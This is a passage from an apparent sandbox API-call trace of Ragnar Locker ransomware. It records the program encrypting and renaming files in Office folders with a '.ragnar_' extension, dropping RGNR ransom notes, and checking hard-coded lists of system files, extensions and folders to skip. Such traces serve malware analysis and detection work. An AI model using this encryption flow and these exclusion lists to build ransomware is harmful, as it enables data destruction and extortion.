nNumberOfBytesToUnlockLow=0x567, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.844] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.844] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x567, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.844] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.844] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.844] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.844] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0062.845] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.845] GetProcessHeap () returned 0x580000 [0062.845] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0062.845] CloseHandle (hObject=0x104) returned 1 [0062.847] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" [0062.847] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.ragnar_FD7BD9FC" [0062.847] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0062.847] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77afdf60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77afdf60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0062.847] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x66 [0062.847] lstrcpyW (in: lpString1=0x1ea0d6, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0062.847] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\RGNR_FD7BD9FC.txt") returned=".txt" [0062.847] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0062.847] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0062.847] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x66 [0062.847] lstrcpyW (in: lpString1=0x1ea0d6, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0062.847] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned=".XML" [0062.847] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0062.847] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0062.848] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0062.848] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0062.848] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0062.848] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0062.848] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0062.848] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0062.848] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0062.848] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0062.848] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0062.848] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0062.848] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0062.848] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0062.848] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0062.848] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0062.848] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0062.848] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0062.848] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0062.848] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0062.848] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0062.848] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0062.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0062.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0062.848] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=2362) returned 1 [0062.848] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x931, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.848] GetProcessHeap () returned 0x580000 [0062.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0062.849] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0062.850] VirtualAlloc (lpAddress=0x0, dwSize=0x93a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0062.850] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.850] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0062.850] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x93a, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x93a, lpOverlapped=0x0) returned 1 [0062.851] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0062.851] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x93a, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.851] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x93a, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x93a, lpOverlapped=0x0) returned 1 [0062.851] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x93a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.851] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.851] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x93a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.851] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.851] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.851] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.851] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0062.851] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.851] GetProcessHeap () returned 0x580000 [0062.852] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0062.852] CloseHandle (hObject=0x104) returned 1 [0062.852] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" [0062.852] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.ragnar_FD7BD9FC" [0062.852] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0062.853] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0062.853] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0062.853] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0062.853] lstrcmpiW (lpString1="Office32.WW", lpString2=".") returned 1 [0062.853] lstrcmpiW (lpString1="Office32.WW", lpString2="..") returned 1 [0062.853] lstrcmpiW (lpString1="Office32.WW", lpString2="Windows") returned -1 [0062.853] lstrcmpiW (lpString1="Office32.WW", lpString2="Windows.old") returned -1 [0062.853] lstrcmpiW (lpString1="Office32.WW", lpString2="Tor browser") returned -1 [0062.853] lstrcmpiW (lpString1="Office32.WW", lpString2="Internet Explorer") returned 1 [0062.853] lstrcmpiW (lpString1="Office32.WW", lpString2="Google") returned 1 [0062.853] lstrcmpiW (lpString1="Office32.WW", lpString2="Opera") returned -1 [0062.853] lstrcmpiW (lpString1="Office32.WW", lpString2="Opera Software") returned -1 [0062.853] lstrcmpiW (lpString1="Office32.WW", lpString2="Mozilla") returned 1 [0062.853] lstrcmpiW (lpString1="Office32.WW", lpString2="Mozilla Firefox") returned 1 [0062.853] lstrcmpiW (lpString1="Office32.WW", lpString2="$Recycle.Bin") returned 1 [0062.853] lstrcmpiW (lpString1="Office32.WW", lpString2="ProgramData") returned -1 [0062.853] lstrcmpiW (lpString1="Office32.WW", lpString2="All Users") returned 1 [0062.853] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0062.853] lstrcpyW (in: lpString1=0x1eab90, lpString2="Office32.WW" | out: lpString1="Office32.WW") returned="Office32.WW" [0062.854] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\" [0062.854] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\" [0062.854] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\RGNR_FD7BD9FC.txt" [0062.854] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0062.897] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*" [0062.897] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x63 [0062.897] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0062.897] lstrcpyW (in: lpString1=0x1e9cbc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0062.897] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77bbc640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77bbc640, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0062.898] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0062.898] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77bbc640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77bbc640, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.898] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0062.898] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0062.898] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0062.898] lstrcmpiW (lpString1="Office32WW.XML", lpString2=".") returned 1 [0062.898] lstrcmpiW (lpString1="Office32WW.XML", lpString2="..") returned 1 [0062.898] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bbc640, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77bbc640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0062.898] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0062.898] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0062.898] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bbc640, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77bbc640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0062.898] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0062.898] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77bbc640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77bbc640, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0062.898] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77bbc640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77bbc640, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.898] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0062.898] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x63 [0062.898] lstrcpyW (in: lpString1=0x1ea0d0, lpString2="Office32WW.XML" | out: lpString1="Office32WW.XML") returned="Office32WW.XML" [0062.898] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned=".XML" [0062.898] lstrcmpiW (lpString1="Office32WW.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0062.898] lstrcmpiW (lpString1="Office32WW.XML", lpString2="autorun.inf") returned 1 [0062.898] lstrcmpiW (lpString1="Office32WW.XML", lpString2="boot.ini") returned 1 [0062.898] lstrcmpiW (lpString1="Office32WW.XML", lpString2="bootfont.bin") returned 1 [0062.898] lstrcmpiW (lpString1="Office32WW.XML", lpString2="bootsect.bak") returned 1 [0062.898] lstrcmpiW (lpString1="Office32WW.XML", lpString2="bootmgr") returned 1 [0062.899] lstrcmpiW (lpString1="Office32WW.XML", lpString2="bootmgr.efi") returned 1 [0062.899] lstrcmpiW (lpString1="Office32WW.XML", lpString2="bootmgfw.efi") returned 1 [0062.899] lstrcmpiW (lpString1="Office32WW.XML", lpString2="desktop.ini") returned 1 [0062.899] lstrcmpiW (lpString1="Office32WW.XML", lpString2="iconcache.db") returned 1 [0062.899] lstrcmpiW (lpString1="Office32WW.XML", lpString2="ntldr") returned 1 [0062.899] lstrcmpiW (lpString1="Office32WW.XML", lpString2="ntuser.dat") returned 1 [0062.899] lstrcmpiW (lpString1="Office32WW.XML", lpString2="ntuser.dat.log") returned 1 [0062.899] lstrcmpiW (lpString1="Office32WW.XML", lpString2="ntuser.ini") returned 1 [0062.899] lstrcmpiW (lpString1="Office32WW.XML", lpString2="thumbs.db") returned -1 [0062.899] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0062.899] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0062.899] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0062.899] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 